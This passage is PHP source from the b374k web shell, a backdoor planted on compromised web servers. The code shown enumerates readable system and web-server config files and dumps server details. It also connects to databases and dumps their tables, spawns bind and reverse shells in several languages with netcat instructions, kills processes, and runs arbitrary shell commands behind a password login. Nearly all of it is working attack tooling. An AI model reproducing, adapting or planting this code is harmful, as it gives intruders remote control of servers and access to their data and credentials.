"/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($s_interesting as $s_f){ if(@is_file($s_f) && @is_readable($s_f)) $s_result .= "<tr><td>".$s_f."</td><td><a href=\'".$s_self."view=".pl($s_f)."\'>".$s_f." is readable</a></td></tr>"; } } $s_result .= "</table></div>"; if(!$s_win){ if($s_i_buff=trim(@fgc("/proc/cpuinfo"))){ $s_result .= "<p class=\'notif\' onclick=\\"toggle(\'info_cpu\')\\">CPU Info</p>"; $s_result .= "<div class=\'info\' id=\'info_cpu\'>"; $s_i_buffs = explode("\\n\\n", $s_i_buff); foreach($s_i_buffs as $s_i_buffss){ $s_i_buffss = trim($s_i_buffss); if($s_i_buffss!=""){ $s_i_buffsss = explode("\\n", $s_i_buffss); $s_result .= "<table>"; foreach($s_i_buffsss as $s_i){ $s_i = trim($s_i); if($s_i!=""){ $s_ii = explode(":",$s_i); if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>"; } } $s_result .= "</table>"; } } $s_result .= "</div>"; } if($s_i_buff=trim(@fgc("/proc/meminfo"))){ $s_result .= "<p class=\'notif\' onclick=\\"toggle(\'info_mem\')\\">Memory Info</p>"; $s_i_buffs = explode("\\n", $s_i_buff); $s_result .= "<div class=\'info\' id=\'info_mem\'><table>"; foreach($s_i_buffs as $s_i){ $s_i = trim($s_i); if($s_i!=""){ $s_ii = explode(":",$s_i); if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>"; } else $s_result .= "</table><table>"; } $s_result .= "</table></div>"; } if($s_i_buff=trim(@fgc("/proc/partitions"))){ $s_i_buff = preg_replace("/\\ +/", " ", $s_i_buff); $s_result .= "<p class=\'notif\' onclick=\\"toggle(\'info_part\')\\">Partitions Info</p>"; $s_result .= "<div class=\'info\' id=\'info_part\'>"; $s_i_buffs = explode("\\n\\n", $s_i_buff); $s_result .= "<table><tr>"; $s_i_head = explode(" ", $s_i_buffs[0]); foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>"; $s_result .= "</tr>"; $s_i_buffss = explode("\\n", $s_i_buffs[1]); foreach($s_i_buffss as $s_i_b){ $s_i_row = explode(" ", trim($s_i_b)); $s_result .= "<tr>"; foreach($s_i_row as $s_r) $s_result .= "<td style=\'text-align:center;\'>".$s_r."</td>"; $s_result .= "</tr>"; } $s_result .= "</table>"; $s_result .= "</div>"; } } $s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($s_phpinfo as $s_p=>$s_i){ $s_result .= "<p class=\'notif\' onclick=\\"toggle(\'".$s_i."\')\\">".$s_p."</p>"; ob_start(); eval("phpinfo(".$s_i.");"); $s_b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\\/body>/is", $s_b, $r)){ $s_body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]); $s_result .= "<div class=\'info\' id=\'".$s_i."\'>".$s_body."</div>"; } } } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'db\')){ $s_sql = array(); $s_sql_deleted = ""; $s_show_form = $s_show_dbs = true; if(isset($_GP[\'dc\'])){ $k = $_GP[\'dc\']; setcookie("c[".$k."]", "" ,time() - $s_login_time); $s_sql_deleted = $k; } if(isset($_COOKIE[\'c\']) && !isset($_GP[\'connect\'])){ foreach($_COOKIE[\'c\'] as $c=>$d){ if($c==$s_sql_deleted) continue; $s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d); foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v; $s_sqlport = (!empty($s_sql[\'port\']))? ":".$s_sql[\'port\']:""; $s_result .= notif("[".$s_sql[\'type\']."] ".$s_sql[\'user\']."@".$s_sql[\'host\'].$s_sqlport." <span style=\'float:right;\'><a href=\'".$s_self."x=db&connect=connect&sqlhost=".pl($s_sql[\'host\'])."&sqlport=".pl($s_sql[\'port\'])."&sqluser=".pl($s_sql[\'user\'])."&sqlpass=".pl($s_sql[\'pass\'])."&sqltype=".pl($s_sql[\'type\'])."\'>connect</a> | <a href=\'".$s_self."x=db&dc=".pl($c)."\'>disconnect</a></span>"); } } else{ $s_sql[\'host\'] = isset($_GP[\'sqlhost\'])? $_GP[\'sqlhost\'] : ""; $s_sql[\'port\'] = isset($_GP[\'sqlport\'])? $_GP[\'sqlport\'] : ""; $s_sql[\'user\'] = isset($_GP[\'sqluser\'])? $_GP[\'sqluser\'] : ""; $s_sql[\'pass\'] = isset($_GP[\'sqlpass\'])? $_GP[\'sqlpass\'] : ""; $s_sql[\'type\'] = isset($_GP[\'sqltype\'])? $_GP[\'sqltype\'] : ""; } if(isset($_GP[\'connect\'])){ $s_con = sql_connect($s_sql[\'type\'],$s_sql[\'host\'],$s_sql[\'user\'],$s_sql[\'pass\']); $s_sqlcode = isset($_GP[\'sqlcode\'])? $_GP[\'sqlcode\'] : ""; if($s_con!==false){ if(isset($_GP[\'sqlinit\'])){ $s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql); $s_c_num = substr(md5(time().rand(0,100)),0,3); while(isset($_COOKIE[\'c\']) && is_array($_COOKIE[\'c\']) && array_key_exists($s_c_num, $_COOKIE[\'c\'])){ $s_c_num = substr(md5(time().rand(0,100)),0,3); } setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time); } $s_show_form = false; $s_result .= "<form action=\'".$s_self."\' method=\'post\'> <input type=\'hidden\' name=\'sqlhost\' value=\'".hss($s_sql[\'host\'])."\' /> <input type=\'hidden\' name=\'sqlport\' value=\'".hss($s_sql[\'port\'])."\' /> <input type=\'hidden\' name=\'sqluser\' value=\'".hss($s_sql[\'user\'])."\' /> <input type=\'hidden\' name=\'sqlpass\' value=\'".hss($s_sql[\'pass\'])."\' /> <input type=\'hidden\' name=\'sqltype\' value=\'".hss($s_sql[\'type\'])."\' /> <input type=\'hidden\' name=\'x\' value=\'db\' /> <input type=\'hidden\' name=\'connect\' value=\'connect\' /> <textarea id=\'sqlcode\' name=\'sqlcode\' class=\'txtarea\' style=\'height:150px;\'>".hss($s_sqlcode)."</textarea> <p><input type=\'submit\' name=\'gogo\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;\' /> &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\'gaya\'>[</span> ; <span class=\'gaya\'>]</span></p> </form>"; if(!empty($s_sqlcode)){ $s_querys = explode(";",$s_sqlcode); foreach($s_querys as $s_query){ if(trim($s_query) != ""){ $s_hasil = sql_query($s_sql[\'type\'],$s_query,$s_con); if($s_hasil!=false){ $s_result .= "<hr /><p style=\'padding:0;margin:6px 10px;font-weight:bold;\'>".hss($s_query).";&nbsp;&nbsp;&nbsp; <span class=\'gaya\'>[</span> ok <span class=\'gaya\'>]</span></p>"; if(!is_bool($s_hasil)){ $s_result .= "<table class=\'explore sortable\' style=\'width:100%;\'><tr>"; for($s_i = 0; $s_i<sql_num_fields($s_sql[\'type\'],$s_hasil); $s_i++) $s_result .= "<th>".@hss(sql_field_name($s_sql[\'type\'],$s_hasil,$s_i))."</th>"; $s_result .= "</tr>"; while($s_rows=sql_fetch_data($s_sql[\'type\'],$s_hasil)){ $s_result .= "<tr>"; foreach($s_rows as $s_r){ if(empty($s_r)) $s_r = " "; $s_result .= "<td>".@hss($s_r)."</td>"; } $s_result .= "</tr>"; } $s_result .= "</table>"; } } else{ $s_result .= "<p style=\'padding:0;margin:6px 10px;font-weight:bold;\'>".hss($s_query).";&nbsp;&nbsp;&nbsp;<span class=\'gaya\'>[</span> error <span class=\'gaya\'>]</span></p>"; } } } } else{ if(($s_sql[\'type\']!=\'pdo\') && ($s_sql[\'type\']!=\'odbc\')){ if($s_sql[\'type\']==\'mysql\') $s_showdb = "SHOW DATABASES"; elseif($s_sql[\'type\']==\'mssql\') $s_showdb = "SELECT name FROM master..sysdatabases"; elseif($s_sql[\'type\']==\'pgsql\') $s_showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($s_sql[\'type\']==\'oracle\') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif($s_sql[\'type\']==\'sqlite3\' || $s_sql[\'type\']==\'sqlite\') $s_showdb = "SELECT \\"".$s_sql[\'host\']."\\""; else $s_showdb = "SHOW DATABASES"; $s_hasil = sql_query($s_sql[\'type\'],$s_showdb,$s_con); if($s_hasil!=false) { while($s_rows_arr=sql_fetch_data($s_sql[\'type\'],$s_hasil)){ foreach($s_rows_arr as $s_rows){ $s_result .= "<p class=\'notif\' onclick=\\"toggle(\'db_".$s_rows."\')\\">".$s_rows."</p>"; $s_result .= "<div class=\'info\' id=\'db_".$s_rows."\'><table class=\'explore\'>"; if($s_sql[\'type\']==\'mysql\') $s_showtbl = "SHOW TABLES FROM ".$s_rows; elseif($s_sql[\'type\']==\'mssql\') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = \'U\'"; elseif($s_sql[\'type\']==\'pgsql\') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema=\'".$s_rows."\'"; elseif($s_sql[\'type\']==\'oracle\') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=\'".$s_rows."\'"; elseif($s_sql[\'type\']==\'sqlite3\' || $s_sql[\'type\']==\'sqlite\') $s_showtbl = "SELECT name FROM sqlite_master WHERE type=\'table\'"; else $s_showtbl = ""; $s_hasil_t = sql_query($s_sql[\'type\'],$s_showtbl,$s_con); if($s_hasil_t!=false) { while($s_tables_arr=sql_fetch_data($s_sql[\'type\'],$s_hasil_t)){ foreach($s_tables_arr as $s_tables){ if($s_sql[\'type\']==\'mysql\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100"; elseif($s_sql[\'type\']==\'mssql\') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables; elseif($s_sql[\'type\']==\'pgsql\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0"; elseif($s_sql[\'type\']==\'oracle\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;"; elseif($s_sql[\'type\']==\'sqlite\' || $s_sql[\'type\']==\'sqlite3\') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100"; else $s_dump_tbl = ""; $s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".pl($s_sql[\'host\'])."&sqlport=".pl($s_sql[\'port\'])."&sqluser=".pl($s_sql[\'user\'])."&sqlpass=".pl($s_sql[\'pass\'])."&sqltype=".pl($s_sql[\'type\'])."&sqlcode=".pl($s_dump_tbl); $s_result .= "<tr><td ondblclick=\\"return go(\'".adds($s_dump_tbl_link)."\',event);\\"><a href=\'".$s_dump_tbl_link."\'>".$s_tables."</a></td></tr>"; } } } $s_result .= "</table></div>"; } } } } } sql_close($s_sql[\'type\'],$s_con); } else{ $s_result .= notif("Unable to connect to database"); $s_show_form = true; } } if($s_show_form){ $s_sqllist = array(); if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "Connect to MySQL <span class=\'desc\' style=\'font-size:12px;\'>- using class mysqli or mysql_*</span>"; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "Connect to MsSQL <span class=\'desc\' style=\'font-size:12px;\'>- using sqlsrv_* or mssql_*</span>"; if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "Connect to PostgreSQL <span class=\'desc\' style=\'font-size:12px;\'>- using pg_*</span>"; if(function_exists("oci_connect")) $s_sqllist["oracle"] = "Connect to oracle <span class=\'desc\' style=\'font-size:12px;\'>- using oci_*</span>"; if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "Connect to SQLite <span class=\'desc\' style=\'font-size:12px;\'>- using sqlite_*</span>"; if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "Connect to SQLite3 <span class=\'desc\' style=\'font-size:12px;\'>- using class SQLite3</span>"; if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "Connect via ODBC <span class=\'desc\' style=\'font-size:12px;\'>- using odbc_*</span>"; if(class_exists("PDO")) $s_sqllist["pdo"] = "Connect via PDO <span class=\'desc\' style=\'font-size:12px;\'>- using class PDO</span>"; foreach($s_sqllist as $s_sql[\'type\']=>$s_sqltitle){ if($s_sql[\'type\']=="odbc" || $s_sql[\'type\']=="pdo"){ $s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2> <form action=\'".$s_self."\' method=\'post\' /> <table class=\'myboxtbl\'> <tr><td style=\'width:170px;\'>DSN / Connection String</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr> <tr><td>Username</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqluser\' value=\'\' /></td></tr> <tr><td>Password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'sqlpass\' value=\'\' /></td></tr> </table> <input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /> <input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' /> <input type=\'hidden\' name=\'sqlinit\' value=\'init\' /> <input type=\'hidden\' name=\'x\' value=\'db\' /> </form> </div>"; } elseif($s_sql[\'type\']=="sqlite" || $s_sql[\'type\']=="sqlite3"){ $s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2> <form action=\'".$s_self."\' method=\'post\' /> <table class=\'myboxtbl\'> <tr><td style=\'width:170px;\'>DB File</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr> </table> <input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /> <input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' /> <input type=\'hidden\' name=\'sqlinit\' value=\'init\' /> <input type=\'hidden\' name=\'x\' value=\'db\' /> </form> </div>"; } else{ $s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2> <form action=\'".$s_self."\' method=\'post\' /> <table class=\'myboxtbl\'> <tr><td style=\'width:170px;\'>Host</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr> <tr><td>Username</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqluser\' value=\'\' /></td></tr> <tr><td>Password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'sqlpass\' value=\'\' /></td></tr> <tr><td>Port (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlport\' value=\'\' /></td></tr> </table> <input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /> <input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' /> <input type=\'hidden\' name=\'sqlinit\' value=\'init\' /> <input type=\'hidden\' name=\'x\' value=\'db\' /> </form> </div>"; } } } } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'rs\')){ $s_rshost = $s_server_ip; $s_rsport = "13123"; $s_rspesana = "Press &#39; Go ! &#39; button and run &#39; nc <i>server_ip</i> <i>port</i> &#39; on your computer"; $s_rspesanb = "Run &#39; nc -l -v -p <i>port</i> &#39; on your computer and press &#39; Go ! &#39; button"; $s_rs_err = ""; $s_rsbind = $s_rsback = array(); $s_rsbind["bind_php"] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- php</span>"; $s_rsback["back_php"] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- php</span>"; $s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_nodejs"=>"js", "s_gcc"=>"c", "s_javac"=>"java"); foreach($s_access as $k=>$v){ if(isset($$k)){ $s_t = explode("_", $k); $s_rsbind["bind_".$v] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- ".$s_t[1]."</span>"; $s_rsback["back_".$v] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- ".$s_t[1]."</span>"; } } if($s_win){ $s_rsbind["bind_win"] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- windows executable</span>"; $s_rsback["back_win"] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- windows executable</span>"; } $s_rslist = array_merge($s_rsbind,$s_rsback); if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one"); foreach($s_rslist as $s_rstype=>$s_rstitle){ $s_split = explode("_",$s_rstype); if($s_split[0]=="bind"){ $s_rspesan = $s_rspesana; $s_rsdisabled = "disabled=\'disabled\'"; $s_rstarget = $s_server_ip; $s_labelip = "Server IP"; } elseif($s_split[0]=="back"){ $s_rspesan = $s_rspesanb; $s_rsdisabled = ""; $s_rstarget = $s_my_ip; $s_labelip = "Target IP"; } if(isset($_GP[$s_rstype])){ if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype]; if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype]; if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_; elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_; if($s_split[1]=="pl") $s_rscode = $s_rs_pl; elseif($s_split[1]=="py") $s_rscode = $s_rs_py; elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb; elseif($s_split[1]=="js") $s_rscode = $s_rs_js; elseif($s_split[1]=="c") $s_rscode = $s_rs_c; elseif($s_split[1]=="java") $s_rscode = $s_rs_java; elseif($s_split[1]=="win") $s_rscode = $s_rs_win; elseif($s_split[1]=="php") $s_rscode = $s_rs_php; $s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode); if($s_buff!="") $s_rs_err = notif(hss($s_buff)); } $s_result .= "<div class=\'mybox\'><h2>".$s_rstitle."</h2> <form action=\'".$s_self."\' method=\'post\' /> <table class=\'myboxtbl\'> <tr><td style=\'width:100px;\'>".$s_labelip."</td><td><input ".$s_rsdisabled." style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rshost_".$s_rstype."\' value=\'".hss($s_rstarget)."\' /></td></tr> <tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rsport_".$s_rstype."\' value=\'".hss($s_rsport)."\' /></td></tr> </table> <input type=\'submit\' name=\'".$s_rstype."\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /> &nbsp;&nbsp;<span>".$s_rspesan."</span> <input type=\'hidden\' name=\'x\' value=\'rs\' /> </form> </div>"; } $s_result = $s_rs_err.$s_result; } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'ps\')){ $s_buff = ""; if(isset($_GP[\'pid\'])){ $s_p = trim($_GP[\'pid\'],"|"); $s_parr = explode("|", $s_p); foreach($s_parr as $s_p){ if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,\'9\'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p); else{ if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p)); else $s_buff .= notif(exe("taskkill /F /PID ".$s_p)); } } } if(!$s_win) $s_h = "ps aux"; else $s_h = "tasklist /V /FO csv"; $s_wcount = 11; $s_wexplode = " "; if($s_win) $s_wexplode = "\\",\\""; $s_res = exe($s_h); if(trim($s_res)==\'\') $s_result = notif("Error getting process list"); else{ if($s_buff!="") $s_result = $s_buff; $s_result .= "<table class=\'explore sortable\'>"; if(!$s_win) $s_res = preg_replace(\'#\\ +#\',\' \',$s_res); $s_psarr = explode("\\n",$s_res); $s_fi = true; $s_tblcount = 0; $s_check = explode($s_wexplode,$s_psarr[0]); $s_wcount = count($s_check); foreach($s_psarr as $s_psa){ if(trim($s_psa)!=\'\'){ if($s_fi){ $s_fi = false; $s_psln = explode($s_wexplode, $s_psa, $s_wcount); $s_result .= "<tr><th style=\'width:24px;\' class=\'sorttable_nosort\'></th><th class=\'sorttable_nosort\'>action</th>"; foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\\"")."</th>"; $s_result .= "</tr>"; } else{ $s_psln = explode($s_wexplode, $s_psa, $s_wcount); $s_result .= "<tr>"; $s_tblcount = 0; foreach($s_psln as $s_p){ $s_pid = trim(trim($s_psln[1]),"\\""); $s_piduniq = substr(md5($s_pid),0,8); if(trim($s_p)=="") $s_p = "&nbsp;"; if($s_tblcount == 0){ $s_result .= "<td style=\'text-align:center;text-indent:4px;\'><input id=\'".$s_piduniq."\' name=\'cbox\' value=\'".$s_pid."\' type=\'checkbox\' class=\'css-checkbox\' onchange=\'hilite(this);\' /><label for=\'".$s_piduniq."\' class=\'css-label\'></label></td><td class=\'ce\'><a href=\'".$s_self."x=ps&pid=".$s_pid."\'>kill</a></td><td class=\'ce\'>".trim(trim($s_p) ,"\\"")."</td>"; $s_tblcount++; } else{ $s_tblcount++; if($s_tblcount == count($s_psln)) $s_result .= "<td class=\'le\'>".trim(trim($s_p) ,"\\"")."</td>"; else $s_result .= "<td class=\'ce\'>".trim(trim($s_p) ,"\\"")."</td>"; } } $s_result .= "</tr>"; } } } $colspan = count($s_psln)+1; $s_result .= "<tfoot><tr class=\'cbox_selected\'><td class=\'cbox_all\'> <form action=\'".$s_self."\' method=\'post\'><input id=\'checkalll\' type=\'checkbox\' name=\'abox\' class=\'css-checkbox\' onclick=\'checkall();\' /><label for=\'checkalll\' class=\'css-label\'></label></form> </td><td style=\'text-indent:10px;padding:2px;\' colspan=".$colspan."><a href=\'javascript: pkill();\'>kill selected <span id=\'total_selected\'></span></a></td> </tr></tfoot></table>"; } } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'pass\')){ if(isset($_GP[\'submitnewpass\'])){ $newpass = isset($_GP[\'newpass\'])? trim($_GP[\'newpass\']):""; $newpassx = isset($_GP[\'newpassx\'])? trim($_GP[\'newpassx\']):""; if(empty($newpass) || empty($newpassx)){ $s_result .= notif(\'Give your new password to both fields\'); } elseif($newpass != $newpassx){ $s_result .= notif(\'Password does not match\'); } else{ if(changepass($newpass)){ $s_result .= notif("Password changed"); } else $s_result .= notif("Unable to change password"); } } $s_result .= "<div class=\'mybox\'><h2>Change shell password</h2> <form action=\'".$s_self."\' method=\'post\' /> <table class=\'myboxtbl\'> <tr><td style=\'width:120px;\'>New password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'newpass\' value=\'\' /></td></tr> <tr><td style=\'width:120px;\'>Confirm password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'newpassx\' value=\'\' /></td></tr> </table> <input type=\'submit\' name=\'submitnewpass\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' /> <input type=\'hidden\' name=\'x\' value=\'pass\' /> </form> </div>"; } else{ if(!isset($s_cwd)) $s_cwd = ""; if(isset($_GP[\'cmd\'])){ $s_cmd = $_GP[\'cmd\']; if(strlen($s_cmd) > 0){ if(preg_match(\'#^cd(\\ )+(.*)#\',$s_cmd,$s_r)){ $s_nd = trim($s_r[2]); if(@is_dir($s_nd)){ chdir($s_nd); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); $s_result .= showdir($s_cwd); } elseif(@is_dir($s_cwd.$s_nd)){ chdir($s_cwd.$s_nd); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); $s_result .= showdir($s_cwd); } else $s_result .= notif(hss($s_nd)." is not a directory"); } else{ $s_r = hss(exe($s_cmd)); if($s_r != \'\') $s_result .= "<pre>".$s_r."</pre>"; else $s_result .= showdir($s_cwd); } } else $s_result .= showdir($s_cwd); } else $s_result .= showdir($s_cwd); } $s_letters = \'\'; $s_v = explode("\\\\",$s_cwd); $s_v = $s_v[0]; foreach (range("A", "Z") as $s_letter){ if(@is_readable($s_letter.":\\\\")){ $s_letters .= "<a href=\'".$s_self."cd=".$s_letter.":\\\\\'>[ "; if($s_letter.":" != $s_v) $s_letters .= $s_letter; else{$s_letters .= "<span class=\'drive-letter\'>".$s_letter."</span>";} $s_letters .= " ]</a> "; } } $s_info = "<table class=\'headtbl\'><tr><td>".$s_system."</td></tr>"; $s_info .= "<tr><td>".$s_software."</td></tr>"; $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class=\'gaya\'> | </span>your ip : ".$s_my_ip; $s_info .= "<span class=\'gaya\'> | </span> Time @ Server : ".@date("d M Y H:i:s",time()); $s_info .= "</td></tr> <tr><td style=\'text-align:left;\'> <table class=\'headtbls\'><tr> <td>".trim($s_letters)."</td> <td> <span id=\'chpwd\'> &nbsp;<a href=\\"javascript:tukar_(\'chpwd\',\'chpwdform\')\\"> <span class=\'icon\'>o</span> &nbsp;&nbsp;</a>".swd($s_cwd)."</span> <form action=\'".$s_self."\' method=\'post\' style=\'margin:0;padding:0;\'> <span class=\'sembunyi\' id=\'chpwdform\'> &nbsp;<a href=\\"javascript:tukar_(\'chpwdform\',\'chpwd\');\\"> <span class=\'icon\'>o</span> </a>&nbsp;&nbsp; <input type=\'text\' name=\'view\' class=\'inputz\' style=\'width:300px;\' value=\'".hss($s_cwd)."\' /> <input class=\'inputzbut\' type=\'submit\' name=\'submit\' value=\'view file / folder\' /> </span> </form> </td></tr> </table> </td></tr> </table>"; } $s_error = @ob_get_contents(); $s_result = isset($s_result)? $s_result:""; if(!empty($s_error)) $s_result = notif($s_error).$s_result; @ob_end_clean(); @ob_start(); ?><!DOCTYPE html> <html> <head> <title><?php echo $s_title; ?></title> <meta charset="utf-8"> <meta name=\'robots\' content=\'noindex, nofollow, noarchive\'> <link rel=\'SHORTCUT ICON\' href=\'<?php echo $s_favicon; ?>\'> <?php echo get_code("css", $s_css); ?> </head> <body> <table id=\'main\'><tr><td> <?php if($s_auth){?> <div><span style=\'float:right;\'><?php if(!isset($_COOKIE[\'b374k_included\'])){ ?><a href=\'?x=pass\'>password</a> | <?php } ?><a href=\'<?php echo $s_self; ?>x=logout\' title=\'Click me to log out\'>log out</a> <a href=\'<?php echo $s_self; ?>x=switch\' title=\'Click me to change theme\'><span class=\'schemabox\'>&nbsp;&nbsp;</span></a></span><table id=\'header\'><tr><td style=\'width:80px;\'><table><tr><td><h1><a href=\'<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER[\'SCRIPT_FILENAME\']))); ?>\'>b374k</a></h1></td></tr><tr><td style=\'text-align:right;\'><div class=\'ver\'><?php echo $s_ver; ?></div></td></tr></table></td>\t<td><div class=\'headinfo\'><?php echo $s_info; ?></div></td></tr></table></div> <div style=\'clear:both;\'></div> <form method=\'post\' name=\'g\'></form> <div id=\'menu\'> <table style=\'width:100%;\'><tr> <td><a href=\'<?php echo $s_self; ?>\' title=\'Explorer\'><div class=\'menumi\'>xpl</div></a></td> <td><a href=\'<?php echo $s_self; ?>x=ps\' title=\'Display process status\'><div class=\'menumi\'>ps</div></a></td> <td><a href=\'<?php echo $s_self; ?>x=eval\' title=\'Execute code\'><div class=\'menumi\'>eval</div></a></td> <td><a href=\'<?php echo $s_self; ?>x=info\' title=\'Information about server\'><div class=\'menumi\'>info</div></a></td> <td><a href=\'<?php echo $s_self; ?>x=db\' title=\'Connect to database\'><div class=\'menumi\'>db</div></a></td> <td><a href=\'<?php echo $s_self; ?>x=rs\' title=\'Remote Shell\'><div class=\'menumi\'>rs</div></a></td> <td style=\'width:100%;padding:0 0 0 6px;\'> <span class=\'prompt\'><?php echo $s_prompt; ?></span><form action=\'<?php echo $s_self; ?>\' method=\'post\'> <input id=\'cmd\' onclick="clickcmd();" class=\'inputz\' type=\'text\' name=\'cmd\' style=\'width:70%;\' value=\'<?php if(isset($_GP[\'cmd\'])) echo ""; else echo "- shell command -"; ?>\' /> <noscript><input class=\'inputzbut\' type=\'submit\' value=\'Go !\' name=\'submitcmd\' style=\'width:80px;\' /></noscript> </form> </td> </tr></table> </div> <div id=\'content\'> <div id=\'result\'><?php echo "__RESULT__"; ?></div> </div> <div id=\'navigation\'> <div id=\'totop\' onclick=\'totopd();\' onmouseover=\'totop();\' onmouseout=\'stopscroll();\'></div> <div id=\'tobottom\' onclick=\'tobottomd();\' onmouseover=\'tobottom();\' onmouseout=\'stopscroll();\'></div> </div> <?php } else{ ?> <div style=\'width:100%;text-align:center;\'> <form action=\'<?php echo $s_self; ?>\' method=\'post\'> <img src=\'<?php echo $s_favicon; ?>\' style=\'margin:2px;vertical-align:middle;\' /> b374k&nbsp;<span class=\'gaya\'><?php echo $s_ver; ?></span><input id=\'login\' class=\'inputz\' type=\'password\' name=\'login\' style=\'width:120px;\' value=\'\' /> <input class=\'inputzbut\' type=\'submit\' value=\'Go !\' name=\'submitlogin\' style=\'width:80px;\' /> </form> </div> <?php }?>\t</td></tr></table> <p class=\'footer\'>Jayalah Indonesiaku &copy;<?php echo @date("Y",time())." "; ?>b374k</p> <script type=\'text/javascript\'> var d = document; var scroll = false; var cwd = \'<?php echo hss(adds($s_cwd)); ?>\'; var hexstatus = false; var 